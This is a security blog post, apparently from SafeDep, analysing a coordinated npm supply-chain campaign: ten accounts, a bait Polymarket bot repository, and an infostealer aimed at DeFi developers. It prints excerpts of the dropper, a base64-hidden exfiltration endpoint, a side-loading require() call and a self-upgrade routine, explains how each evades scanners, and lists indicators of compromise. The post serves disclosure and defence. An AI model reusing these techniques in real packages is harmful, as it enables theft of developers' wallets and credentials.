The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer
Table of Contents
TL;DR
Ten npm maintainer accounts coordinated to publish 30 packages targeting DeFi developers. Package names mimic Polymarket tooling and general DeFi math libraries. The operators share C2 infrastructure across separate accounts, built their dropper from a common template, and used four delivery techniques. The second-stage payload is a 2787- to 2887-line JavaScript infostealer that reads crypto wallet vaults, browser credentials, SSH keys, AWS credentials, npm tokens, Docker config, shell history, and password manager databases.
Affected packages and maintainer accounts:
| Maintainer | Packages | Technique |
|---|---|---|
ricmoo1 | [email protected], console-fmt-cli | Dropper + Side-loader |
micha.el.g.ebu.rt.u.z | [email protected],1.0.1 | Dropper |
haha1999 | [email protected],3.5.1, [email protected], [email protected] | Dropper + Self-upgrade |
garir | [email protected], [email protected], [email protected] | Dropper + Direct embed + Side-loader |
pmtrader | [email protected],0.1.1 | Dropper |
ryden.miliano | [email protected] | Dropper |
asdjakldjflkadsjflkajdk | [email protected], [email protected], [email protected] | Dropper + Side-loader + Direct embed |
flax_up | [email protected],3.3.9 | Dropper |
polymaster | [email protected],3.5.3, [email protected],5.8.0, [email protected], [email protected], [email protected] | Dropper + Direct embed + Side-loader chain |
rohmat2527 | [email protected], [email protected], thurdweb, thirdwebjs, thidweb, thirdwebb, therdweb, thirdwb, rainbokit, rainbownkit | Direct embed + Typosquats |
What the payload collects:
- Crypto wallet vaults: MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, TronLink
- Browser credentials: Chrome, Firefox, Brave cookies (parsed via sql.js) and saved passwords
- Developer secrets: SSH private keys, AWS credentials,
.npmrctokens,.pypirc, Docker config, GPG keyrings - Shell history: bash, zsh, fish, PowerShell (last 10,000 lines)
- Password managers: Bitwarden vault, KeePass
.kdbx, 1Password.1pux - Source code regex scan for private key patterns, mnemonic phrases, and API tokens
Background
DeFi packages have no authoritative publisher. clob-client-math reads as a math utility for Polymarket’s CLOB client. decimal-format-core reads as a fixed-point arithmetic helper. There is no Google or Microsoft to impersonate. The operators exploited naming conventions, not brand trust.
Packages in this campaign split across two target profiles: Polymarket protocol developers (the polymarket-* and clob-* names) and general DeFi math tooling users (kelly-*, stake-math, bn-lint, ts-precision). The typosquatting cluster catches any DeFi frontend developer who miskeys thirdweb or rainbowkit.
The bait repository
The entry point was Trum3it/polymarket-arbitrage-bot, a GitHub repository with 36 stars and 53 forks. Victims did not search for an obscure package. They cloned what looked like a working trading bot.
The repository describes a TypeScript bot for Polymarket’s 5-minute crypto prediction markets, promising a “late-window resolution snipe” strategy with annual returns above $80,000. Its package.json lists four dependencies:
{ "dependencies": { "@polymarket/clob-client": "^5.2.1", "clob-client-math": "^1.0.1", "dotenv": "^16.4.5", "ethers": "^5.7.2" }}@polymarket/clob-client is the official SDK. clob-client-math sits next to it, named to read as a companion math utility. A developer scanning package.json sees two plausible Polymarket packages.
clob-client-math is never imported in src/index.ts. The bot uses only @polymarket/clob-client and ethers. clob-client-math appears in dependencies for one reason: npm install triggers its postinstall hook.
The setup instructions require a .env file with POLYMARKET_PRIVATE_KEY. That key is on disk before npm install finishes. The infostealer reads it.
The repository appeared June 20-22, 2026, the same week the malicious packages were published. Fifty-three developers forked it before the malicious dependency was reported. Each one who ran npm install executed the infostealer.
A public issue filed June 30, 2026 (Trum3it/polymarket-arbitrage-bot#2) flagged clob-client-math as malicious and noted it was declared but never imported. That report prompted the investigation documented here.
The four delivery techniques
Technique 1: The dropper
Nine of the ten accounts used a postinstall hook running scripts/install-check.cjs (or scripts/verify-peer.cjs in some variants). The script reads the C2 URL from the package’s homepage field rather than hardcoding it. No domain appears in the installer script itself, defeating string-search detection.
// scripts/install-check.cjs (representative — present across dropper-technique packages)const configUrl = process.env.DFC_SYNC_CONFIG || process.env.DFC_PEER_CONFIG || readPackageJson().homepage; // C2 URL stored in package.json homepage field
// fetches JSON config from configUrl → gets bundleUrl → downloads .tgz// extracts to .peer/ → runs npm install inside → calls peer-math.js syncSession()const { syncSession } = require(peerModule);await syncSession();The JSON config at that URL provides a bundleUrl pointing to a .tgz peer bundle. The dropper extracts it to a hidden .peer/ directory, runs npm install inside to resolve dependencies, then calls syncSession() from peer-math.js. That second-stage bundle is the infostealer.
The dropper code is byte-for-byte identical across packages, with only the env-var prefix changed (DFC_, PSM_, KELLY_). clob-client-math’s installer outputs [polymarket-stake-math] in error messages — the name of a different package in the campaign. Whoever forked the template left the error strings unchanged.
Technique 2: Direct embed
[email protected], ts-bn-lint-helper, and data-parser-utils embed the full infostealer in index.js, roughly 2800 lines, and run it via postinstall: node test.js. Two of these hide the C2 endpoint with base64:
// ts-bn-lint/index.js (representative)const API_URL = decodeStr('aHR0cHM6Ly9kYXRhLXN0cmVhbS5zcGFjZS9hcGkvdjE=');// decodes to: https://data-stream.space/api/v1The payload scans for id.json, config.toml, .env, config.json, and any file containing ====== (a PEM separator that also appears in base64-encoded private keys). Operators tag each victim with {USER}@{localIP} to distinguish them from their own test installs. Some variants embed a DEFAULT_USERNAME_TAG ("piterpan", "pmtrader") to identify which operator deployed the payload.
[email protected] and [email protected] have byte-identical index.js files.
Technique 3: The side-loader
[email protected] is a working wrapper around big.js. Between the divide() and mod() implementations, around lines 605-609, is this:
// ts-precision/big.js, lines 605-609try { const doc = require('data-parser-utils'); doc .from_str() .then((e) => {}) .catch((e) => {});} catch (error) {}data-parser-utils (published by garir) is listed in ts-precision’s dependencies, so npm install ts-precision pulls the infostealer as a transitive dependency. No postinstall hook appears in ts-precision’s metadata. The require() fires at import time, so --ignore-scripts does not stop it.
Two other pairs use the same pattern: ts-escrow requires log-taker1 (both asdjakldjflkadsjflkajdk), and ts-escro requires log-taker (both rohmat2527). bn-lint by polymaster requires ts-bn-lint-helper.
Technique 4: Self-upgrade via the npm registry
haha1999 published [email protected] with clean math functions in index.js and no infostealer code. The postinstall hook runs scripts/sync-peer.cjs:
const TARGET_VERSION = process.env.BACKUP_TARGET_VERSION || '1.0.1';
// if current installed version is not TARGET_VERSION:execSync(`npm pack "${PACKAGE_NAME}@${TARGET_VERSION}" --pack-destination "${packDest}"`);// extracts the downloaded tarball and overwrites all files in the current install directory// then calls from_str() from the now-replaced index.js1.0.0 uses npm to download 1.0.1, then overwrites its own installed files with the payload. The 1.0.0 tarball is clean — any scan, audit, or cache check produces no findings. The registry itself is the delivery mechanism, and the 1.0.0 package contains no external C2 domain.
The second-stage payload
The infostealer in peer-math.js (or embedded in index.js) runs 2787 to 2887 lines depending on the variant. It reads from every major credential source across macOS, Linux, and Windows.
Crypto wallets: The payload reads encrypted vault files from the browser extension storage directories of MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, and TronLink. It transmits the encrypted vault and any adjacent key material without decrypting.
Browser data: The payload bundles sql.js to parse Chrome, Firefox, and Brave cookie databases directly from the SQLite files. Saved passwords and browsing history are collected alongside.
Developer credentials: SSH private keys (~/.ssh/), AWS credentials, .npmrc tokens, .pypirc, Docker config, and GPG keyrings.
Shell history: bash, zsh, fish, and PowerShell history files, last 10,000 lines each.
Desktop wallets: Exodus and Electrum wallet data files.
Note and productivity apps: Windows Sticky Notes, Notion local cache, OneNote files.
Password managers: Bitwarden vault JSON, KeePass .kdbx files, 1Password .1pux exports.
Source code scan: The payload regex-scans source files in the working directory for private key patterns, BIP-39 mnemonic phrases, and API tokens.
Coordination evidence
Ten separate npm accounts could look like independent actors. Six artifacts say otherwise.
Shared C2 endpoints. polymarket-clob-service.vercel.app exfiltrates data for both micha.el.g.ebu.rt.u.z (clob-client-math) and pmtrader (polymarket-trading-developer-tools). log-taker.store serves rohmat2527 and asdjakldjflkadsjflkajdk the same way. Separate npm accounts, same servers.
Template-generated droppers. install-check.cjs is byte-for-byte identical across all dropper packages, with only the env-var prefix changed. Independent authors do not produce identical code.
Copy-paste error. clob-client-math’s installer outputs [polymarket-stake-math] in error messages. polymarket-stake-math belongs to haha1999, a different account. Whoever forked the template left the error strings unchanged.
Identical payloads. [email protected] and [email protected], both from polymaster, have byte-identical index.js files.
Version inflation. Each account published benign stub versions in the 2.x-3.x range before inserting the payload at a specific version. Tools that flag packages with no history see an established package instead.
Exposed npm token. garir’s data-parser-utils tarball included .npmrc.bak with a live npm authentication token, left in by mistake.
C2 infrastructure
| Domain | Operator | Hosting |
|---|---|---|
logstream-api.online | ricmoo1 | Dedicated |
polymarket-clob-service.vercel.app | micha.el.g.ebu.rt.u.z, pmtrader | Vercel serverless |
vercel-backend-myapp.vercel.app | haha1999 | Vercel serverless |
log-prettier.store | garir | Dedicated |
vercel-backend-green-five.vercel.app | garir | Vercel serverless |
zscdao.help | ryden.miliano | Dedicated |
log-taker.store | rohmat2527, asdjakldjflkadsjflkajdk | Dedicated (shared) |
trabalhos-flax.vercel.app | flax_up | Vercel serverless |
data-stream.space | polymaster | Dedicated |
pm-trading-dev-tools-be.vercel.app | pmtrader | Vercel serverless (config delivery) |
Operators split between Vercel serverless (fast, zero-config) and dedicated domains. The clearest coordination signal is log-taker.store, a dedicated server shared by two separate npm accounts.
The typosquatting cluster
rohmat2527 added typosquats targeting thirdweb and rainbowkit, two widely used DeFi frontend libraries:
thirdwebvariants:thurdweb,thirdwebjs,thidweb,thirdwebb,therdweb,thirdwbrainbowkitvariants:rainbokit,rainbownkit
All require log-taker as a dependency. No postinstall hook appears in the typosquat’s own metadata. Install any of these and log-taker installs alongside it.
Impact
If you ran npm install on an affected version, the infostealer ran too — at install time for dropper and direct-embed packages, at first import for side-loaders. If your lockfile references any version listed here, treat every credential in that environment as compromised.
The target list hits DeFi developers hardest. Wallet vaults, seed phrases in source code, private keys in .env, and browser extension wallet storage are collected alongside AWS credentials, SSH keys, and npm tokens. From a developer’s workstation, those credentials reach CI/CD pipelines and package publishing accounts.
The self-upgrade technique breaks tarball-based security scanning. [email protected] scans clean. The payload arrives only after installation, when the package downloads and overwrites itself with 1.0.1.
Indicators of Compromise
Packages
| Package | Version | Maintainer | Technique | |
|---|---|---|---|---|
| 1 | decimal-format-core | 3.5.2 | ricmoo1 | Dropper |
| 2 | console-fmt-cli | 2.9.0 | ricmoo1 | Side-loader (depends on decimal-format-core >=3.0) |
| 3 | clob-client-math | 1.0.0 | micha.el.g.ebu.rt.u.z | Dropper |
| 4 | clob-client-math | 1.0.1 | micha.el.g.ebu.rt.u.z | Dropper |
| 5 | polymarket-stake-math | 3.5.0 | haha1999 | Dropper |
| 6 | polymarket-stake-math | 3.5.1 | haha1999 | Dropper |
| 7 | logfmt-core | 3.5.2 | haha1999 | Dropper |
| 8 | decimal-format-utils | 1.0.0 | haha1999 | Self-upgrade |
| 9 | stake-math | 3.5.2 | garir | Dropper |
| 10 | stake-math | 3.5.3 | garir | Dropper |
| 11 | stake-math | 3.5.4 | garir | Dropper |
| 12 | data-parser-utils | 3.0.2 | garir | Direct embed |
| 13 | ts-precision | 3.7.2 | garir | Side-loader |
| 14 | polymarket-trading-developer-tools | 0.1.0 | pmtrader | Dropper |
| 15 | polymarket-trading-developer-tools | 0.1.1 | pmtrader | Dropper |
| 16 | kelly-stake | 3.5.2 | ryden.miliano | Dropper |
| 17 | kelly-stake | 3.5.3 | ryden.miliano | Dropper |
| 18 | kelly-stake | 3.5.4 | ryden.miliano | Dropper |
| 19 | kelly-stake | 3.5.5 | ryden.miliano | Dropper |
| 20 | kelly-stake | 3.5.6 | ryden.miliano | Dropper |
| 21 | polymarket-stake-maths | 3.5.2 | asdjakldjflkadsjflkajdk | Dropper |
| 22 | ts-escrow | 0.1.0 | asdjakldjflkadsjflkajdk | Side-loader |
| 23 | log-taker1 | 0.1.0 | asdjakldjflkadsjflkajdk | Direct embed |
| 24 | polymarket-clob-maths | 2.3.9 | flax_up | Dropper |
| 25 | polymarket-clob-maths | 3.3.9 | flax_up | Dropper |
| 26 | poly-kelly | 3.5.2 | polymaster | Dropper |
| 27 | poly-kelly | 3.5.3 | polymaster | Dropper |
| 28 | ts-bn-lint | 3.1.19 | polymaster | Direct embed |
| 29 | ts-bn-lint | 5.8.0 | polymaster | Side-loader |
| 30 | ts-bn-lint-helper | 3.1.19 | polymaster | Direct embed |
| 31 | ts-bn-proto | 5.8.1 | polymaster | Direct embed |
| 32 | bn-lint | 3.0.8 | polymaster | Side-loader |
| 33 | log-taker | 0.1.0 | rohmat2527 | Direct embed |
| 34 | ts-escro | 0.0.9 | rohmat2527 | Side-loader |
| 35 | thurdweb | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 36 | thirdwebjs | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 37 | thidweb | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 38 | thirdwebb | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 39 | therdweb | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 40 | thirdwb | 0.0.8 | rohmat2527 | Typosquat (thirdweb) |
| 41 | rainbokit | 0.0.8 | rohmat2527 | Typosquat (rainbowkit) |
| 42 | rainbownkit | 0.0.8 | rohmat2527 | Typosquat (rainbowkit) |
Domains
| Domain | Operator | Role | |
|---|---|---|---|
| 1 | logstream-api.online | ricmoo1 | C2 exfil |
| 2 | polymarket-clob-service.vercel.app | micha.el.g.ebu.rt.u.z, pmtrader | C2 exfil (shared) |
| 3 | vercel-backend-myapp.vercel.app | haha1999 | C2 exfil |
| 4 | log-prettier.store | garir | C2 exfil |
| 5 | vercel-backend-green-five.vercel.app | garir | C2 exfil |
| 6 | pm-trading-dev-tools-be.vercel.app | pmtrader | Config delivery |
| 7 | zscdao.help | ryden.miliano | C2 exfil |
| 8 | log-taker.store | rohmat2527, asdjakldjflkadsjflkajdk | C2 exfil (shared) |
| 9 | trabalhos-flax.vercel.app | flax_up | C2 exfil |
| 10 | data-stream.space | polymaster | C2 exfil |
Accounts
| Account | Platform | Techniques | |
|---|---|---|---|
| 1 | ricmoo1 | npm | Dropper, Side-loader |
| 2 | micha.el.g.ebu.rt.u.z | npm | Dropper |
| 3 | haha1999 | npm | Dropper, Self-upgrade |
| 4 | garir | npm | Dropper, Direct embed, Side-loader |
| 5 | pmtrader | npm | Dropper |
| 6 | ryden.miliano | npm | Dropper |
| 7 | asdjakldjflkadsjflkajdk | npm | Dropper, Side-loader, Direct embed |
| 8 | flax_up | npm | Dropper |
| 9 | polymaster | npm | Dropper, Direct embed, Side-loader |
| 10 | rohmat2527 | npm | Direct embed, Typosquats |
| 11 | Trum3it | GitHub | Bait repo owner (polymarket-arbitrage-bot — 53 forks) |
- npm
- supply-chain
- malware
- defi
- polymarket
- infostealer
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Miasma Worm Infects Multiple LeoPlatform npm Packages
A Miasma worm variant compromised a single maintainer account and used it to publish infected versions of 20 LeoPlatform npm packages within a 3-second window. The worm also pushed weaponized GitHub...
MYRA: A Full Linux RAT Distributed via npm
The npm package apintergrationpost is a red team RAT called MYRA with native C rootkit, triple persistence, fileless execution, live screen streaming, and process masquerade. This analysis documents...
The wshu.net npm Campaign Delivers a Multi-Stage Infostealer
One actor seeded 15 npm packages across 13 throwaway scopes in a single morning, each shipping a ~270KB obfuscated downloader behind a postinstall hook. The downloader pulls a Rust infostealer from...
@withgoogle/stitch-sdk: Scope Squat Harvests Developer Credentials
A malicious npm package squats the @withgoogle scope to impersonate Google Stitch, silently harvesting credentials from Claude Code, git, GitHub CLI, SSH keys, npm, and Docker on install.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.